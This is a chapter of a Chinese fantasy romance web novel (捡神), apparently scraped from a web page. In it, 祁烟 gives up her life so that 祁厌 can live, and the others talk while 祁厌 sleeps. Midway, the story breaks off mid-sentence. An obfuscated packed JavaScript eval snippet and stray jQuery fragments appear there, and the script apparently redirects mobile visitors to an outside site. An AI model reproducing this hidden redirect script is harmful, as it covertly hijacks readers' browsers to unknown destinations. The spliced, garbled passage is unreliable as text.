44. 赌书消得泼茶香(一)

作品:《捡神

    帝休洞内,洛檀青曲腿靠着墙,按着心口微微喘气,祁烟抱起膝盖坐在地上,宋流霜将她搂在怀里。


    约素打了干净的水替禹舟蘅擦脸,那人同祁厌并肩睡着,呼吸恬静平整。


    似是陷入了一场好梦。


    洞里安静得好似察觉不到时间,就连烛火晃动的幅度也十分微小。刚经历过生死博弈的几人围在一起,也不论前世的什么爱恨情仇了,共同分享着劫后余生。


    “舟儿姐姐要睡多久?”祁烟率先打破安静,仰脸问约素。


    “禹菁归位耗损心神,须睡个三五日。”


    约素拧了巾子晾在一边,回身斜靠在桌案上,同几人打起商量:“怎么说?”


    洛檀青稍稍缓过劲儿了,吞了把喉咙问:“什么怎么说?”


    约素朝祁烟扬扬脸:“她。”


    “禹舟蘅不是专为阻止祁厌唤她还魂才来的吗?如今怎么说?”


    宋流霜动了动唇线,开口接话道:“我原本要同阴阳盏交易的,待还魂事成,用我的命换冥渊。”


    约素闻言支了支肩膀:“阴阳盏碎了,换不成。”


    天尊同月鹿如今还在洞外躺着呢。


    宋流霜正要开口,却被祁烟先一步截了话头:“我本就不打算活的,何况还要与旁人换命,”祁烟顾一眼宋流霜发红的眼,又顾一眼安静躺着的祁厌,摇头道:“我不愿意。”


    “若我不愿活着,该怎样?”祁烟接着问。


    “只需在阴阳历上,将方才唤魂一事划掉,便成了。”


    小姑娘似还有心愿,薄唇一抿,勾起脚腕晃了晃:“那么,我最多还能留几日?”


    约素掐指尖算了算:“半个时辰。”


    “冥渊心魂被抽离,肉身仅能支撑五个时辰,如今还剩半个时辰。”


    “那便算了,”祁烟眼见泄了气:“我本想等舟儿姐姐睡醒,同她说说话再走的,等不到了。”


    祁烟无奈撇撇嘴,缓慢顾了一圈,侧脸枕在膝盖上。


    “在度厄道排队这些年,听了俗间许多故事。刚去世那阵子,我有许多心头事,我舍不得娘,舍不得天虞山,舍不得小霜,还有,”祁烟顿了顿,下巴靠在膝盖骨上,盯着禹舟蘅道:“舍不得舟儿姐姐。”


    “度厄道上许多人同我一样有牵挂,我问她们究竟何为情意,却始终未有人给我确切的答案。”


    “方才我突然懂了,”祁烟顾一眼禹舟蘅,又顾一眼祁厌:“舟儿姐姐不想汀儿同我换命,与小霜交手的这些回合,便是情意。”


    “既然如此,我不愿她为难,”祁烟咬唇,郑重又轻松地做了决定:“若汀儿能活,是成全她们,也是成全我。我希望舟儿姐姐幸福,这也是情意。”


    “况且,”祁烟又添了句:“我也不想汀儿一直睡着。”


    语毕,祁烟从宋流霜怀里起身,缓步走到祁厌面前,垂睫看了看。


    她看着小姑娘长到四五岁,小脸肉嘟嘟红扑扑的模样历历在目。如今十多年过去,已瞧着十分面生了,终是和从前那个整日跟在她屁股后头转悠的小汀儿对不上。


    罢了。祁烟回身对约素道:“约素姐姐,替我改一笔阴阳历吧。”


    俗间情事寻常如此,你心悦一人,她却心悦旁人。你想她过得好,她也不想你难过。


    偏偏不寻常也如此,偏偏她喜欢的人,是与你一同长大的好友。两个明晃晃的答案搁在你身前,你是要放手,还是要争一争?


    若可以,祁烟真想将二人叫醒,问问她们会怎么选。她轻笑着摇摇头,回身看着禹舟蘅。


    这人还是记忆里的样子,仍旧是那样的眉眼,干净,清淡,面上总没什么表情,让人猜不出喜怒。如今她睡着,就更显得冷清了。可惜这回不能留太久,不然,她还想再瞧一瞧禹舟蘅与她说话的样子,听听她的声音,这样可以记得久一些。


    祁烟盯着那张清汤寡水的脸看了又看,想起她替自己罚抄经书的样子,又想起被洛檀青抓到后,假装若无其事的样子,没忍住笑了笑。


    待看够了,祁烟握住禹舟蘅的手,小声道:“姐姐,这是我此生头一次动心。


    声音虽小,却被宋流霜听得一清二楚。


    世上有些人爱得轰轰烈烈,恨不得全天下都知晓。可还有些人太懂藏拙,就连被她爱着的人都不知道。


    “那我呢?”宋流霜站在角落,远远儿看着祁烟:“这也是我头回动心,谁来成全我呢。”


    这话她没有说出来。


    凡间无数说不出口的情话,像她这般的,都是阴阳历上一笔一划记着的生死,是阴阳盏里满满当当装着的欲念。


    几人心疼小姑娘来不及搁置的心思,默契地没有打断她,四下一时安静,却听一旁约素清音提醒:“还有一炷香。”


    语毕,约素转头,对上洛檀青噙着泪的一记白眼。


    祁烟抿唇放下禹舟蘅的手,缓步走向洛檀青。


    洛檀青眼里的慈爱都要溢出来了,平日花枝儿似的眼皮像乖猫一样温顺,抬手去接祁烟,又听她道:“洛儿姐姐,我想拜托你一件事。”


    “成,都成。”洛檀青点点头,直白地应她。


    祁烟提溜起眉毛,“噗嗤”笑出了声。


    顾一眼角落里瘦瘦小小的宋流霜,祁烟同洛檀青说:“我想拜托你保护小霜,别让旁人欺负她。”


    宋流霜抬了抬睫毛。


    “小霜不爱说话,有事总藏在心里,我担心她受委屈。”祁烟又说。


    惦记着宋流霜一直躲在暗处不说话,祁烟走过去,拉住她垂在腿侧的手,放在掌心里搓了搓,和幼时一模一样。


    宋流霜抬眸,祁烟盯了她一会儿,笑眯眯问:“时辰不多了,你没有话要同我说吗?”


    宋流霜眨眨眼,想起方才这不大一会儿时间,祁烟未说过一句想她,心里酸得要命。于是她又低头,小声道:“没有。”


    “没有?”祁烟一阵失落,却见宋流霜抿抿嘴巴,快速道:“算了,祝你下辈子晚些死。”


    祁烟不敢相信自己的耳朵,偏头问了句:“什么?”


    笨蛋。


    “我说,我祝你来生长命百岁。”宋流霜解释。


    祁烟将眼一眨,再一眨,随即笑成一朵明艳的花。


    宋流霜不是不爱讲话,而是不会讲话。


    *


    送走祁烟,祁厌脸上活泛许多,嘴唇渐有了颜色,睫毛也随呼吸的浮动颤了颤。宋流霜虽心里千刀万剐一样难过,可日子还是要过的。


    祁烟床前围了三个人,洛檀青拧了热巾子给祁厌擦脸,约素支应着添了热水。宋流霜站在墙角缓了缓神,慢慢挪过去,瞧着一派平静的祁厌愣神。


    洛檀青心里仍防备,面上没什么表情,也不回头看她,只扔了句:“祁烟走了,阴阳盏也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001222|193643||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    碎了。你还要打什么主意?”


    宋流霜骨子里也是个硬的,见洛檀青不大待见自己,也没方才那么委屈了,“啪嗒”一声撑开扇子,端着腔“哼”了声:“白汀儿这名字还是我取的呢,我能打什么主意?”


    她不过在想,小孩子一天一个模样,凭她瞧多少眼,也将这人与当年的白汀儿联系不上。


    天佑七年,她家捡了陶悦,白姨家捡了汀儿。不过那时候陶悦已经七岁了,而汀儿尚在襁褓当中,两个小姐妹整日围着汀儿转,又是喂她吃饭又是教她说话走路,日子热热闹闹的。


    天佑十年的时候,宋相公见她到了年纪,特地从京都赶回来接她去科考。往后,便再未见过她们了。


    天佑十二年放榜,宋流霜本想带着好消息回去,走到村口却听闻北湾村遭了场大火,又言道陶悦回了天虞,宋流霜匆匆见了陶阿娘便去天虞寻陶悦。可结界拦着她,最终也没见得上面。


    后来悻悻然回到北湾村,只惦记着想法子找陶悦了,忘了邻家那个她取了名儿的白汀儿。


    不过如今见她过得不错,还是话本子里上天入地的冥渊,颇有与有荣焉的意味。


    又盯了一会儿,她才别别扭扭开口叫了声:“洛长老。”


    “嗯?”洛檀青仍未拧头看她,只抛了个不咸不淡的鼻音。


    “汀儿何时能醒过来?”宋流霜直截了当地问她。


    约素从前厅打了热水回来,正好接上她的问题:“若她的心事少一些,大概今晚吧。”


    “......”


    宋流霜十分讨厌别人打哑谜,但她是个犟的,就算没听明白,也绝不张口问。


    洛檀青“啧”了声,将帕子扔回盆里,揶揄道:“鬼王惜字如金,有个性极了。但我同小霜的脑子不如你,听不懂你打的哑谜。”


    约素本不想瞒她,却也不懂她为何又恼了。只顺着她扔来的帕子,往盆里复添上热水,一面拧,一面道:“八荒卷碎了,前尘往事便会入梦。若她从前的心事少些,梦便短些,醒得也快。大约,今晚罢。”


    洛檀青咬唇想了一阵子,拧了把狐疑的眉头,在祁厌同禹舟蘅身上来回地看,又凑到约素耳边,一脸八卦相地问她:“听那什么天尊的意思,你从前还是她的心腹呐?”


    “嗯。”


    “跟着干了这么久,也知道不少上头的事儿吧?”


    “怎么?”


    “你说汀儿心事少,这什么意思?”洛檀青自小便对鬼神之事颇为好奇,好容易捞到个货真价实的,便想问个清楚:“你们冥渊大人不通情事啊?”


    那这可跟她们家汀儿不一样了。小姑娘很早就对禹舟蘅动了心,这她知道,当时她还劝禹舟蘅要留意来着。


    如此说来,情爱这方面,冥渊不胜汀儿。


    约素听罢却摇头:“并非不通情事,而是太过痴情。心事翻来覆去只为一人,所以梦得短些。”


    “痴情?”洛檀青听到这两字,眼神登时就亮了:“对谁啊?对我们家舟儿?不对不对,应当叫禹菁大人。是也不是?”


    约素未见过有谁如此好奇旁人情爱的,拧眉打量一会儿,动了动嘴巴正欲应她,却被洛檀青先一句堵了回去:“算了算了算了。”


    “?”约素拎了把眉头:“不好奇了?”


    “你之前说过,知晓天上之事太多的话,会早死。”


    她还没活够。